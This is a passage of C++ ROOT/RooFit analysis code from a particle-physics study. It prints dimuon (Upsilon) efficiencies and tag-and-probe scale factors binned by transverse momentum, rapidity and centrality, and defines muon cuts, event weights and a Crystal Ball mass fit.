: countNS(hnum_cent_5[ibin],massmin,massmax,dummyerr);\n num_tp_cent_5[ibin] = (strategy<2) ? fitNS(hnum_tp_cent_5[ibin],dummyerr,YS) : countNS(hnum_tp_cent_5[ibin],massmin,massmax,dummyerr);\n }\n }\n\n ////////////////////////////////////////////////////////////////////////////\n // print results\n ////////////////////////////////////////////////////////////////////////////\n ofstream textfile(\"results.txt\");\n cout << \"===========================\" << endl;\n cout << \"No tag and probe corrections\" << endl;\n cout << \"===========================\" << endl;\n cout << endl << \"pt\" << endl;\n for (unsigned int ibin=0; ibin<NPTNS+1; ibin++)\n {\n double binmin = (ibin==0) ? ptbins_NS[0] : ptbins_NS[ibin-1];\n double binmax = (ibin==0) ? ptbins_NS[NPTNS] : ptbins_NS[ibin];\n double val = num_pt_NS[ibin]/den_pt_NS[ibin];\n double val1 = num_pt_1[ibin]/den_pt_1[ibin];\n double val2 = num_pt_2[ibin]/den_pt_2[ibin];\n double val3 = num_pt_3[ibin]/den_pt_3[ibin];\n double val4 = num_pt_4[ibin]/den_pt_4[ibin];\n double val5 = num_pt_5[ibin]/den_pt_5[ibin];\n double err = RError(num_pt_NS[ibin],numerr_pt_NS[ibin],den_pt_NS[ibin],denerr_pt_NS[ibin]);\n double syst = systerr(val,val1,val2,val3,val4,val5);\n cout << \"[\" << binmin << \",\" << binmax << \"]: \" << val << \" +/- \" << err << \" +/- \" << syst << endl;\n textfile << \"pt \" << binmin << \" \" << binmax << \" \" << val << \" \" << err << \" \" << syst << endl;\n if (ibin>0) \n {\n heffpt->SetBinContent(ibin,val);\n heffpt->SetBinError(ibin,err);\n }\n }\n cout << endl << \"rapidity\" << endl;\n for (unsigned int ibin=0; ibin<NRAPNS+1; ibin++)\n {\n double binmin = (ibin==0) ? rapbins_NS[0] : rapbins_NS[ibin-1];\n double binmax = (ibin==0) ? rapbins_NS[NRAPNS] : rapbins_NS[ibin];\n double val = num_rap_NS[ibin]/den_rap_NS[ibin];\n // cout << val <<\"=\" << num_rap_NS[ibin] << \"/\" << den_rap_NS[ibin] << endl;\n double val1 = num_rap_1[ibin]/den_rap_1[ibin];\n double val2 = num_rap_2[ibin]/den_rap_2[ibin];\n double val3 = num_rap_3[ibin]/den_rap_3[ibin];\n double val4 = num_rap_4[ibin]/den_rap_4[ibin];\n double val5 = num_rap_5[ibin]/den_rap_5[ibin];\n double err = RError(num_rap_NS[ibin],numerr_rap_NS[ibin],den_rap_NS[ibin],denerr_rap_NS[ibin]);\n double syst = systerr(val,val1,val2,val3,val4,val5);\n cout << \"[\" << binmin << \",\" << binmax << \"]: \" << val << \" +/- \" << err << \" +/- \" << syst << endl;\n textfile << \"rapidity \" << binmin << \" \" << binmax << \" \" << val << \" \" << err << \" \" << syst << endl;\n if (ibin>0) \n {\n heffrap->SetBinContent(ibin,val);\n heffrap->SetBinError(ibin,err);\n }\n }\n if (ispbpb)\n {\n cout << endl << \"centrality\" << endl;\n for (unsigned int ibin=0; ibin<NCENTNS+1; ibin++)\n {\n double binmin = (ibin==0) ? 2.5*centbins_NS[0] : 2.5*centbins_NS[ibin-1];\n double binmax = (ibin==0) ? 2.5*centbins_NS[NCENTNS] : 2.5*centbins_NS[ibin];\n double val = num_cent_NS[ibin]/den_cent_NS[ibin];\n double val1 = num_cent_1[ibin]/den_cent_1[ibin];\n double val2 = num_cent_2[ibin]/den_cent_2[ibin];\n double val3 = num_cent_3[ibin]/den_cent_3[ibin];\n double val4 = num_cent_4[ibin]/den_cent_4[ibin];\n double val5 = num_cent_5[ibin]/den_cent_5[ibin];\n double err = RError(num_cent_NS[ibin],numerr_cent_NS[ibin],den_cent_NS[ibin],denerr_cent_NS[ibin]);\n double syst = systerr(val,val1,val2,val3,val4,val5);\n cout << \"[\" << binmin << \",\" << binmax << \"]: \" << val << \" +/- \" << err << \" +/- \" << syst << endl;\n textfile << \"centrality \" << binmin << \" \" << binmax << \" \" << val << \" \" << err << \" \" << syst << endl;\n if (ibin>0) \n {\n heffcent->SetBinContent(ibin,val);\n heffcent->SetBinError(ibin,err);\n }\n }\n }\n\n cout << endl;\n cout << \"==============================\" << endl;\n cout << \"With tag and probe corrections\" << endl;\n cout << \"==============================\" << endl;\n for (unsigned int ibin=0; ibin<NPTNS+1; ibin++)\n {\n double binmin = (ibin==0) ? ptbins_NS[0] : ptbins_NS[ibin-1];\n double binmax = (ibin==0) ? ptbins_NS[NPTNS] : ptbins_NS[ibin];\n double val = num_tp_pt_NS[ibin]/den_pt_NS[ibin];\n double val1 = num_tp_pt_1[ibin]/den_pt_1[ibin];\n double val2 = num_tp_pt_2[ibin]/den_pt_2[ibin];\n double val3 = num_tp_pt_3[ibin]/den_pt_3[ibin];\n double val4 = num_tp_pt_4[ibin]/den_pt_4[ibin];\n double val5 = num_tp_pt_5[ibin]/den_pt_5[ibin];\n double err = RError(num_tp_pt_NS[ibin],numerr_tp_pt_NS[ibin],den_pt_NS[ibin],denerr_pt_NS[ibin]);\n double syst = systerr(val,val1,val2,val3,val4,val5);\n cout << \"[\" << binmin << \",\" << binmax << \"]: \" << val << \" +/- \" << err << \" +/- \" << syst << endl;\n textfile << \"pt_TnP \" << binmin << \" \" << binmax << \" \" << val << \" \" << err << \" \" << syst << endl;\n if (ibin>0) \n {\n hefftppt->SetBinContent(ibin,val);\n hefftppt->SetBinError(ibin,err);\n }\n }\n cout << endl << \"rapidity\" << endl;\n for (unsigned int ibin=0; ibin<NRAPNS+1; ibin++)\n {\n double binmin = (ibin==0) ? rapbins_NS[0] : rapbins_NS[ibin-1];\n double binmax = (ibin==0) ? rapbins_NS[NRAPNS] : rapbins_NS[ibin];\n double val = num_tp_rap_NS[ibin]/den_rap_NS[ibin];\n double val1 = num_tp_rap_1[ibin]/den_rap_1[ibin];\n double val2 = num_tp_rap_2[ibin]/den_rap_2[ibin];\n double val3 = num_tp_rap_3[ibin]/den_rap_3[ibin];\n double val4 = num_tp_rap_4[ibin]/den_rap_4[ibin];\n double val5 = num_tp_rap_5[ibin]/den_rap_5[ibin];\n double err = RError(num_tp_rap_NS[ibin],numerr_tp_rap_NS[ibin],den_rap_NS[ibin],denerr_rap_NS[ibin]);\n double syst = systerr(val,val1,val2,val3,val4,val5);\n cout << \"[\" << binmin << \",\" << binmax << \"]: \" << val << \" +/- \" << err << \" +/- \" << syst << endl;\n textfile << \"rapidity_TnP \" << binmin << \" \" << binmax << \" \" << val << \" \" << err << \" \" << syst << endl;\n if (ibin>0) \n {\n hefftprap->SetBinContent(ibin,val);\n hefftprap->SetBinError(ibin,err);\n }\n }\n if (ispbpb)\n {\n cout << endl << \"centrality\" << endl;\n for (unsigned int ibin=0; ibin<NCENTNS+1; ibin++)\n {\n double binmin = (ibin==0) ? 2.5*centbins_NS[0] : 2.5*centbins_NS[ibin-1];\n double binmax = (ibin==0) ? 2.5*centbins_NS[NCENTNS] : 2.5*centbins_NS[ibin];\n double val = num_tp_cent_NS[ibin]/den_cent_NS[ibin];\n double val1 = num_tp_cent_1[ibin]/den_cent_1[ibin];\n double val2 = num_tp_cent_2[ibin]/den_cent_2[ibin];\n double val3 = num_tp_cent_3[ibin]/den_cent_3[ibin];\n double val4 = num_tp_cent_4[ibin]/den_cent_4[ibin];\n double val5 = num_tp_cent_5[ibin]/den_cent_5[ibin];\n double err = RError(num_tp_cent_NS[ibin],numerr_tp_cent_NS[ibin],den_cent_NS[ibin],denerr_cent_NS[ibin]);\n double syst = systerr(val,val1,val2,val3,val4,val5);\n cout << \"[\" << binmin << \",\" << binmax << \"]: \" << val << \" +/- \" << err << \" +/- \" << syst << endl;\n textfile << \"centrality_TnP \" << binmin << \" \" << binmax << \" \" << val << \" \" << err << \" \" << syst << endl;\n if (ibin>0) \n {\n hefftpcent->SetBinContent(ibin,val);\n hefftpcent->SetBinError(ibin,err);\n }\n }\n }\n\n cout << endl;\n cout << \"=============\" << endl;\n cout << \"Scale factors\" << endl;\n cout << \"=============\" << endl;\n for (unsigned int ibin=0; ibin<NPTNS+1; ibin++)\n {\n double binmin = (ibin==0) ? ptbins_NS[0] : ptbins_NS[ibin-1];\n double binmax = (ibin==0) ? ptbins_NS[NPTNS] : ptbins_NS[ibin];\n double val = num_tp_pt_NS[ibin]/num_pt_NS[ibin];\n double val1 = num_tp_pt_1[ibin]/num_pt_1[ibin];\n double val2 = num_tp_pt_2[ibin]/num_pt_2[ibin];\n double val3 = num_tp_pt_3[ibin]/num_pt_3[ibin];\n double val4 = num_tp_pt_4[ibin]/num_pt_4[ibin];\n double val5 = num_tp_pt_5[ibin]/num_pt_5[ibin];\n double err = RError(num_tp_pt_NS[ibin],numerr_tp_pt_NS[ibin],num_pt_NS[ibin],numerr_pt_NS[ibin]);\n double syst = systerr(val,val1,val2,val3,val4,val5);\n cout << \"[\" << binmin << \",\" << binmax << \"]: \" << val << \" +/- \" << err << \" +/- \" << syst << endl;\n textfile << \"pt_SF \" << binmin << \" \" << binmax << \" \" << val << \" \" << err << \" \" << syst << endl;\n if (ibin>0) \n {\n hefftppt->SetBinContent(ibin,val);\n hefftppt->SetBinError(ibin,err);\n }\n }\n cout << endl << \"rapidity\" << endl;\n for (unsigned int ibin=0; ibin<NRAPNS+1; ibin++)\n {\n double binmin = (ibin==0) ? rapbins_NS[0] : rapbins_NS[ibin-1];\n double binmax = (ibin==0) ? rapbins_NS[NRAPNS] : rapbins_NS[ibin];\n double val = num_tp_rap_NS[ibin]/num_rap_NS[ibin];\n double val1 = num_tp_rap_1[ibin]/num_rap_1[ibin];\n double val2 = num_tp_rap_2[ibin]/num_rap_2[ibin];\n double val3 = num_tp_rap_3[ibin]/num_rap_3[ibin];\n double val4 = num_tp_rap_4[ibin]/num_rap_4[ibin];\n double val5 = num_tp_rap_5[ibin]/num_rap_5[ibin];\n double err = RError(num_tp_rap_NS[ibin],numerr_tp_rap_NS[ibin],num_rap_NS[ibin],numerr_rap_NS[ibin]);\n double syst = systerr(val,val1,val2,val3,val4,val5);\n cout << \"[\" << binmin << \",\" << binmax << \"]: \" << val << \" +/- \" << err << \" +/- \" << syst << endl;\n textfile << \"rapidity_SF \" << binmin << \" \" << binmax << \" \" << val << \" \" << err << \" \" << syst << endl;\n if (ibin>0) \n {\n hefftprap->SetBinContent(ibin,val);\n hefftprap->SetBinError(ibin,err);\n }\n }\n if (ispbpb)\n {\n cout << endl << \"centrality\" << endl;\n for (unsigned int ibin=0; ibin<NCENTNS+1; ibin++)\n {\n double binmin = (ibin==0) ? 2.5*centbins_NS[0] : 2.5*centbins_NS[ibin-1];\n double binmax = (ibin==0) ? 2.5*centbins_NS[NCENTNS] : 2.5*centbins_NS[ibin];\n double val = num_tp_cent_NS[ibin]/num_cent_NS[ibin];\n double val1 = num_tp_cent_1[ibin]/num_cent_1[ibin];\n double val2 = num_tp_cent_2[ibin]/num_cent_2[ibin];\n double val3 = num_tp_cent_3[ibin]/num_cent_3[ibin];\n double val4 = num_tp_cent_4[ibin]/num_cent_4[ibin];\n double val5 = num_tp_cent_5[ibin]/num_cent_5[ibin];\n double err = RError(num_tp_cent_NS[ibin],numerr_tp_cent_NS[ibin],num_cent_NS[ibin],numerr_cent_NS[ibin]);\n double syst = systerr(val,val1,val2,val3,val4,val5);\n cout << \"[\" << binmin << \",\" << binmax << \"]: \" << val << \" +/- \" << err << \" +/- \" << syst << endl;\n textfile << \"centrality_SF \" << binmin << \" \" << binmax << \" \" << val << \" \" << err << \" \" << syst << endl;\n if (ibin>0) \n {\n hefftpcent->SetBinContent(ibin,val);\n hefftpcent->SetBinError(ibin,err);\n }\n }\n }\n\n cout << endl;\n cout << \"=====================\" << endl;\n cout << \"Scale factors for STA\" << endl;\n cout << \"=====================\" << endl;\n for (unsigned int ibin=0; ibin<NPTNS+1; ibin++)\n {\n double binmin = (ibin==0) ? ptbins_NS[0] : ptbins_NS[ibin-1];\n double binmax = (ibin==0) ? ptbins_NS[NPTNS] : ptbins_NS[ibin];\n double val = num_tpsta_pt_NS[ibin]/num_pt_NS[ibin];\n double err = RError(num_tpsta_pt_NS[ibin],numerr_tpsta_pt_NS[ibin],num_pt_NS[ibin],numerr_pt_NS[ibin]);\n cout << \"[\" << binmin << \",\" << binmax << \"]: \" << val << \" +/- \" << err << \" +/- \" << 0 << endl;\n textfile << \"pt_SF_sta \" << binmin << \" \" << binmax << \" \" << val << \" \" << err << \" \" << 0 << endl;\n if (ibin>0) \n {\n hefftpstapt->SetBinContent(ibin,val);\n hefftpstapt->SetBinError(ibin,err);\n }\n }\n cout << endl << \"rapidity\" << endl;\n for (unsigned int ibin=0; ibin<NRAPNS+1; ibin++)\n {\n double binmin = (ibin==0) ? rapbins_NS[0] : rapbins_NS[ibin-1];\n double binmax = (ibin==0) ? rapbins_NS[NRAPNS] : rapbins_NS[ibin];\n double val = num_tpsta_rap_NS[ibin]/num_rap_NS[ibin];\n double err = RError(num_tpsta_rap_NS[ibin],numerr_tpsta_rap_NS[ibin],num_rap_NS[ibin],numerr_rap_NS[ibin]);\n cout << \"[\" << binmin << \",\" << binmax << \"]: \" << val << \" +/- \" << err << \" +/- \" << 0 << endl;\n textfile << \"rapidity_SF_sta \" << binmin << \" \" << binmax << \" \" << val << \" \" << err << \" \" << 0 << endl;\n if (ibin>0) \n {\n hefftpstarap->SetBinContent(ibin,val);\n hefftpstarap->SetBinError(ibin,err);\n }\n }\n if (ispbpb)\n {\n cout << endl << \"centrality\" << endl;\n for (unsigned int ibin=0; ibin<NCENTNS+1; ibin++)\n {\n double binmin = (ibin==0) ? 2.5*centbins_NS[0] : 2.5*centbins_NS[ibin-1];\n double binmax = (ibin==0) ? 2.5*centbins_NS[NCENTNS] : 2.5*centbins_NS[ibin];\n double val = num_tpsta_cent_NS[ibin]/num_cent_NS[ibin];\n double err = RError(num_tpsta_cent_NS[ibin],numerr_tpsta_cent_NS[ibin],num_cent_NS[ibin],numerr_cent_NS[ibin]);\n cout << \"[\" << binmin << \",\" << binmax << \"]: \" << val << \" +/- \" << err << \" +/- \" << 0 << endl;\n textfile << \"centrality_SF_sta \" << binmin << \" \" << binmax << \" \" << val << \" \" << err << \" \" << 0 << endl;\n if (ibin>0) \n {\n hefftpstacent->SetBinContent(ibin,val);\n hefftpstacent->SetBinError(ibin,err);\n }\n }\n }\n\n f->Write(); f->Close();\n textfile.close();\n // testing.close();\n}\n\n////////////////////////////////////////////////////////////////////////////\n// Auxiliary functions\n////////////////////////////////////////////////////////////////////////////\n\nbool dimueff::smuacc_loose(TLorentzVector *tlv1, TLorentzVector *tlv2)\n{\n if (fabs(tlv1->Eta())>2.4 || fabs(tlv2->Eta())>2.4) return false;\n if (tlv1->Pt()>3.5 && tlv2->Pt()>4) return true;\n if (tlv2->Pt()>3.5 && tlv1->Pt()>4) return true;\n return false;\n}\nbool dimueff::smuacc_tight(TLorentzVector *tlv1, TLorentzVector *tlv2)\n{\n if (fabs(tlv1->Eta())>2.4 || fabs(tlv2->Eta())>2.4) return false;\n if (tlv1->Pt()>4 && tlv2->Pt()>4) return true;\n return false;\n}\n\nbool dimueff::idcuts(int irec)\n{\n if (irec>Reco_QQ_size) return false;\n\n // /* if(muPos_found > 10 && */\n // /* muPos_pixeLayers > 0 && */\n // /* muPos_nchi2In < 4.0 && */\n // /* TMath::Abs(muPos_dxy) < 3 && */\n // /* TMath::Abs(muPos_dz) < 15 && muPos_nchi2Gl < 20 && */\n // /* muPos_arbitrated==1 && */\n // /* muPos_tracker==1){ */\n // /* PosPass=1; */\n\n bool PosPass=false,NegPass=false;\n if (Reco_QQ_mupl_nTrkHits[irec]>10 &&\n Reco_QQ_mupl_nPixWMea[irec]>0 &&\n Reco_QQ_mupl_normChi2_inner[irec]<4.0 &&\n fabs(Reco_QQ_mupl_dxy[irec])<0.2 &&\n fabs(Reco_QQ_mupl_dz[irec])<0.5 &&\n Reco_QQ_mupl_normChi2_global[irec]<10.0 &&\n Reco_QQ_mupl_TrkMuArb[irec]==1)\n PosPass=true;\n\n if (Reco_QQ_mumi_nTrkHits[irec]>10 &&\n Reco_QQ_mumi_nPixWMea[irec]>0 &&\n Reco_QQ_mumi_normChi2_inner[irec]<4.0 &&\n fabs(Reco_QQ_mumi_dxy[irec])<0.2 &&\n fabs(Reco_QQ_mumi_dz[irec])<0.5 &&\n Reco_QQ_mumi_normChi2_global[irec]<10.0 &&\n Reco_QQ_mumi_TrkMuArb[irec]==1)\n NegPass=true;\n\n if (PosPass&&NegPass&&Reco_QQ_VtxProb[irec]>0.01) return true;\n else return false;\n}\n\ndouble dimueff::weightpt(double pt, int YS)\n{\n double scale[7];\n if (YS==1)\n {\n scale[0] = 1.0;\n scale[1] = 1.112919104;\n scale[2] = 0.430737304;\n scale[3] = 0.169418472;\n scale[4] = 0.097706729;\n scale[5] = 0.087703928;\n scale[6] = 0.004902708;\n }\n else if (YS==2)\n {\n scale[0] = 1.0;\n scale[1] = 1.17201;\n scale[2] = 0.40233;\n scale[3] = 0.13702;\n scale[4] = 0.043731;\n scale[5] = 0.032069;\n scale[6] = 0.032069/18.93;\n }\n else \n for (int i=0; i<7; i++) \n scale[i]=1.;\n\n\n if (pt<3) return scale[0];\n else if (pt<6) return scale[1];\n else if (pt<9) return scale[2];\n else if (pt<12) return scale[3];\n else if (pt<15) return scale[4];\n else if (pt<30) return scale[5];\n else return scale[6];\n}\n\ndouble dimueff::weightrap(double rap, int dosyst)\n{\n if (dosyst == 3) return 0.8 + 0.167 * fabs(rap);\n else if (dosyst == 4) return 1.2 - 0.167 * fabs(rap);\n else return 1.;\n}\n\ndouble dimueff::weight_tp(double pt, double eta, bool ispbpb, int idx_variation)\n{\n if (ispbpb)\n {\n return tnp_weight_muidtrg_pbpb(pt, eta, idx_variation);\n // if (fabs(eta)<1.6)\n // return tnp_weight_pp_midrap(pt, idx_variation);\n // else\n // return tnp_weight_pp_fwdrap(pt, idx_variation);\n }\n else\n {\n return tnp_weight_muidtrg_pp(pt, eta, idx_variation);\n // if (fabs(eta)<1.6)\n // return tnp_weight_pbpb_midrap(pt, idx_variation);\n // else\n // return tnp_weight_pbpb_fwdrap(pt, idx_variation);\n }\n}\n\ndouble dimueff::weight_tpsta(double pt, double eta, bool ispbpb, int idx_variation)\n{\n if (ispbpb)\n {\n return tnp_weight_sta_pbpb(pt, eta, idx_variation);\n }\n else\n {\n return tnp_weight_sta_pp(pt, eta, idx_variation);\n }\n}\n\ndouble dimueff::weight_shape(double pt, int YS)\n{\n double shapeweight=1.;\n if(YS==1) shapeweight = 0.766 + 0.053*pt;\n if(YS==2) shapeweight = 0.377 + 0.148*pt;\n if(YS==3) shapeweight = 0.932 + 0.00745*pt;\n return shapeweight;\n}\n\ndouble dimueff::weightpt_syst(double pt, int dosyst)\n{\n double weightsyst = 1.;\n if (dosyst == 1) weightsyst = 0.8 + 0.0133 * pt;\n if (dosyst == 2) weightsyst = 1.2 - 0.0133 * pt;\n return weightsyst;\n}\n\ndouble dimueff::FindCenWeight(int Bin, int NS, bool dosyst)\n{\n float NCollArray[40]=\n {1747.49,1566.92,1393.97,1237.02,1095.03\n ,979.836,863.228,765.968,677.894,594.481\n ,522.453,456.049,399.178,347.174,299.925\n ,258.411,221.374,188.676,158.896,135.117\n ,112.481,93.5697,77.9192,63.2538,52.0938\n ,42.3553,33.7461,27.3213,21.8348,17.1722\n ,13.5661,10.6604,8.31383,6.37662,5.12347\n ,3.73576,3.07268,2.41358,2.10707,1.76851};\n /*double NCollArray[50]={1563.03, 1370.41, 1204.05, 1063.45, 943.5,\n 834.12, 736.223, 654.913, 576.466, 507.757, 443.05, 386.802, 334.48,\n 290.097, 247.779, 211.762, 179.834, 153.509, 127.75, 106.59, 88.1189,\n 72.3836, 59.1049, 47.3574, 37.7951, 30.1705, 23.6861, 18.6918, 14.2287,\n 10.9705, 8.76148, 6.57459, 5.01557, 3.78525, 2.9123, 2.12377, 1.5,\n 0.922951, 0.581967, 0.503279,};*/\n double raa1S[40]={ 0.35 , 0.35 , 0.43, 0.43, 0.46,\n 0.46, 0.46, 0.46, 0.51, 0.51,\n 0.51, 0.51, 0.57, 0.57, 0.57,\n 0.57, 0.63, 0.63, 0.63, 0.63,\n 0.88, 0.88, 0.88, 0.88, 0.88,\n 0.88, 0.88, 0.88, 1.2, 1.2,\n 1.2, 1.2, 1.2, 1.2, 1.2,\n 1.2, 1.2, 1.2, 1.2, 1.2};\n\n double raa2S[40]={ 0.053 , 0.053 , 0.053, 0.053, 0.086,\n 0.086, 0.086, 0.086, 0.086, 0.086,\n 0.086, 0.086, 0.29, 0.29, 0.29, 0.29,\n 0.29, 0.29, 0.29, 0.29, 0.198, 0.198,\n 0.198, 0.198, 0.198, 0.198, 0.198, 0.198,\n 0.198, 0.198, 0.198, 0.198, 0.198, 0.198,\n 0.198, 0.198, 0.198, 0.198, 0.198, 0.198};\n return(NCollArray[Bin]*(dosyst ? 1. : (NS==1 ? raa1S[Bin] : raa2S[Bin])));\n}\n\ndouble dimueff::countNS(TH1F *hist, double xmin, double xmax, double &err)\n{\n return hist->IntegralAndError(hist->FindBin(xmin),hist->FindBin(xmax),err);\n}\n\ndouble dimueff::fitNS(TH1F *hist, double &err, int YS)\n{\n // shhhhh\n gErrorIgnoreLevel=kError;\n RooMsgService::instance().setGlobalKillBelow(RooFit::ERROR);\n\n\n double masslow = hist->GetXaxis()->GetXmin();\n double masshigh = hist->GetXaxis()->GetXmax();\n RooRealVar* mass = new RooRealVar(\"RecoUpsM\",\"#mu#mu mass\",masslow,masshigh,\"GeV/c^{2}\");\n const double M1S = YS==1 ? 9.46 : (YS==2 ? 10.023 : 10.355); //upsilon 1S pgd mass value\n\n // *************************************************** free param in the fit\n int nt = hist->Integral();\n RooRealVar *nsig1f = new RooRealVar(\"N_{#Upsilon(1S)}\",\"nsig1S\",0.99,0.95,1.05);\n RooRealVar *mean = new RooRealVar(\"mass1S\",\"#Upsilon mean\",M1S,M1S-0.1,M1S+0.1);\n // scale mean and resolution by mass ratio\n RooFormulaVar *mean1S = new RooFormulaVar(\"mean1S\",\"@0\",RooArgList(*mean));\n\n //detector resolution ?? where is this coming from?\n RooRealVar *sigma1 = new RooRealVar(\"#sigma_{CB1}\",\"#sigma_{CB1}\",7e-2,0,0.5); // \n RooFormulaVar *sigma1S = new RooFormulaVar(\"sigma1S\",\"@0\" ,RooArgList(*sigma1));\n RooRealVar *alpha = new RooRealVar(\"#alpha_{CB}\",\"tail shift\",1.5,0,10); // MC 5tev 1S pol2 \n RooRealVar *npow = new RooRealVar(\"npow\",\"power order\",1.5,0,50); // MC 5tev 1S pol2 \n RooRealVar *sigmaFraction = new RooRealVar(\"sigmaFraction\",\"Sigma Fraction\",0.8,0.,1.);\n // scale the sigmaGaus with sigma1S*scale=sigmaGaus now.\n RooRealVar *scaleWidth = new RooRealVar(\"#sigma_{CB2}/#sigma_{CB1}\",\"scaleWidth\",1.8,1.,3);\n RooFormulaVar *sigmaGaus = new RooFormulaVar(\"sigmaGaus\",\"@0*@1\", RooArgList(*sigma1,*scaleWidth));\n RooCBShape *cb1S_1 = new RooCBShape (\"cb1S_1\", \"FSR cb 1s\",\n *mass,*mean1S,*sigma1,*alpha,*npow);\n\n RooCBShape *cb1S_2 = new RooCBShape (\"cb1S_2\", \"FSR cb 1s\",\n *mass,*mean1S,*sigmaGaus,*alpha,*npow);\n RooAddPdf *sig1S = new RooAddPdf (\"cbcb\",\"1S mass pdf\",\n RooArgList(*cb1S_1,*cb1S_2),*sigmaFraction);\n // bkg Chebychev\n RooRealVar *bkgdFraction = new RooRealVar(\"BkgdFrac\",\"bkgdFraction\",0.01,0,1);\n RooRealVar *bkg_a1 = new RooRealVar(\"a1_bkg\", \"bkg_{a1}\", 0.5, -50, 50);\n RooRealVar *bkg_a2 = new RooRealVar(\"a2_Bkg\", \"bkg_{a2}\", -0.5, -50, 50);\n RooAbsPdf *pdf_combinedbkgd = new RooChebychev(\"bkgPdf\",\"bkgPdf\",\n *mass, RooArgList(*bkg_a1,*bkg_a2));\n // bkg_a2->setVal(0);\n // bkg_a2->setConstant();\n //fitted histo\n RooDataHist binnedData (\"binnedData\",\"binnedData\",*mass,Import(*hist));\n // binnedData.Print(\"v\"); \n RooFitResult *fit_2nd; \n RooAbsPdf *pdf = new RooAddPdf (\"pdf\",\"total p.d.f.\",\n RooArgList(*sig1S,*pdf_combinedbkgd),\n RooArgList(*nsig1f));\n // RooAbsReal* nll = pdf->createNLL(binnedData,NumCPU(20)) ;\n // RooMinuit(*nll).migrad();\n // RooMinuit(*nll).hesse();\n\n fit_2nd = pdf->fitTo(binnedData,Extended(0),Hesse(1),Minos(1),Save(1),SumW2Error(kTRUE),NumCPU(20),PrintLevel(-1));\n // fit_2nd = pdf->fitTo(binnedData,Extended(0),Hesse(1),Save(1),SumW2Error(kTRUE),NumCPU(20),PrintLevel(-1));\n double val = nsig1f->getVal()*nt;\n err = sqrt(pow(nsig1f->getError()*nt,2)+pow(val/nt,2)*nt);\n\n RooPlot* frame = mass->frame(Name(Form(\"rooplot_%s\",hist->GetName())),Bins(hist->GetNbinsX()),Range(hist->GetXaxis()->GetXmin(),hist->GetXaxis()->GetXmax()));\n binnedData.plotOn(frame,DataError(RooAbsData::SumW2),Name(\"theData\"),MarkerSize(0.8));\n pdf->plotOn(frame,Components(\"cb1S_1\"),Name(\"TheFirstCB\"),LineColor(kTeal)); \n pdf->plotOn(frame,Components(\"cb1S_2\"),Name(\"TheSecondCB\"),LineColor(kOrange)); \n pdf->plotOn(frame,Components(\"bkgPdf\"),Name(\"TheBackground\"),LineColor(kDashed)); \n pdf->plotOn(frame,Name(\"thePdf\"),LineColor(kBlue)); \n\n // RooArgSet * pars = pdf->getParameters(binnedData);\n\n\n //plot data\n TCanvas c(Form(\"canv_%s\",hist->GetName())); c.cd();\n binnedData.plotOn(frame,Name(\"theData\"),MarkerSize(0.8)); \n pdf->plotOn(frame,Components(\"cb1S_1\"),Name(\"TheFirstCB\"),LineColor(kTeal)); \n pdf->plotOn(frame,Components(\"cb1S_2\"),Name(\"TheSecondCB\"),LineColor(kOrange)); \n pdf->plotOn(frame,Components(\"bkgPdf\"),Name(\"TheBackground\"),LineColor(kDashed)); \n pdf->plotOn(frame,Name(\"thePdf\"),LineColor(kBlue)); \n frame->SetTitle(\"\");\n frame->GetXaxis()->SetTitle(\"m_{#mu^{+}#mu^{-}} (GeV/c^{2})\");\n frame->GetXaxis()->CenterTitle(kTRUE);\n frame->GetYaxis()->SetTitleOffset(1.3);\n frame->Draw();\n c.Draw();\n c.SaveAs(Form(\"%s.pdf\",hist->GetName()));\n c.SaveAs(Form(\"%s.png\",hist->GetName()));\n // fit_2nd->Print(\"v\");\n TCanvas cm(Form(\"cm_%s\",hist->GetName()),\"cm\");\n cm.cd();\n TLatex latex1;\n latex1.SetNDC();\n TPad pPad1(Form(\"pPad1_%s\",hist->GetName()),\"pPad1\",0.01,0.3-0.03,0.96,0.92);\n pPad1.SetBottomMargin(0.03);\n TPad pPad2(Form(\"pPad2_%s\",hist->GetName()),\"pPad2\",0.05,0.05,1,0.3);\n pPad2.SetTopMargin(0.0);\n pPad2.SetBottomMargin(-0.1);\n frame->SetMinimum(1);\n pPad1.SetLogy();\n // pPad2->SetBottomMargin(gStyle->GetPadBottomMargin()/0.3);\n // pPad1->SetTopMargin(gStyle->GetPadTopMargin()/0.7);\n pPad1.Draw();\n pPad1.cd();\n // sig1S->paramOn(frame,Layout(0.12,0.5,0.38));\n pPad1.Update();\n frame->Draw();\n latex1.SetTextSize(0.032);\n // latex1.DrawLatex(0.15,1.-0.05*1.8,Form(\"%s\",choseSampleLegend[choseSample]));\n // latex1.DrawLatex(0.15,1.-0.05*4.5,Form(\"%.2f < |y| < %.2f\",dimuYMin,dimuYMax)); \n // latex1.DrawLatex(0.15,1.-0.05*5.5,Form(\"%.1f < p_{T}^{#Upsilon} < %.1f\",dimuPtMin,dimuPtMax));\n // latex1.DrawLatex(0.15,1.-0.05*6.5,Form(\"p_{T}^{#mu1} > %.1f GeV/c\",muonPtCut_min1));\n // latex1.DrawLatex(0.15,1.-0.05*7.5,Form(\"p_{T}^{#mu2} > %.1f GeV/c\",muonPtCut_min2));\n\n latex1.DrawLatex(0.78,1.-0.05*3.5,Form(\"n_{CB} = %.2f\",npow->getVal()));\n latex1.DrawLatex(0.78,1.-0.05*4.5,Form(\"#alpha_{CB} = %.2f\",alpha->getVal()));\n latex1.DrawLatex(0.78,1.-0.05*5.5,Form(\"#sigma_{CB1} = %.2f\",sigma1->getVal()));\n latex1.DrawLatex(0.78,1.-0.05*6.5,Form(\"#sigma_{CB2}/#sigma_{CB1} = %.2f\",scaleWidth->getVal()));\n latex1.DrawLatex(0.72,1.-0.05*7.5,Form(\"normalisation = %.2f\",sigmaFraction->getVal()));\n latex1.DrawLatex(0.78,1.-0.05*8.5,Form(\"m_{0} = %.3f\",mean1S->getVal()));\n latex1.DrawLatex(0.78,1.-0.05*9.5,Form(\"Sig_{frac} = %.3f\",nsig1f->getVal()));\n cm.cd(0);\n // TPad *pPad2 = new TPad(\"pPad2\",\"pPad2\",0.01,0.05,0.96,0.29);\n pPad2.SetTopMargin(0.0);\n pPad2.SetBottomMargin(-0.1);\n pPad2.Draw();\n pPad2.cd();\n double chi2FromRoo = frame->chiSquare(fit_2nd->floatParsFinal().getSize());\n cout<<\"!!!!!!!! chi2 from simple pull= \"<<frame->chiSquare()<<\"\\t chi2 from RooFit= \"<<chi2FromRoo <<endl;\n RooHist *phPullm = frame->pullHist(0,0,true); // this calcualtes the pulls taking the integral of the fit in each bin, instead of the value in the middle of the bid\n phPullm->SetName(\"phPullm\");\n double *ypull = phPullm->GetY();\n double Chi2 = 0;\n int nFullBinsPull = 0;\n for (int i=0; i 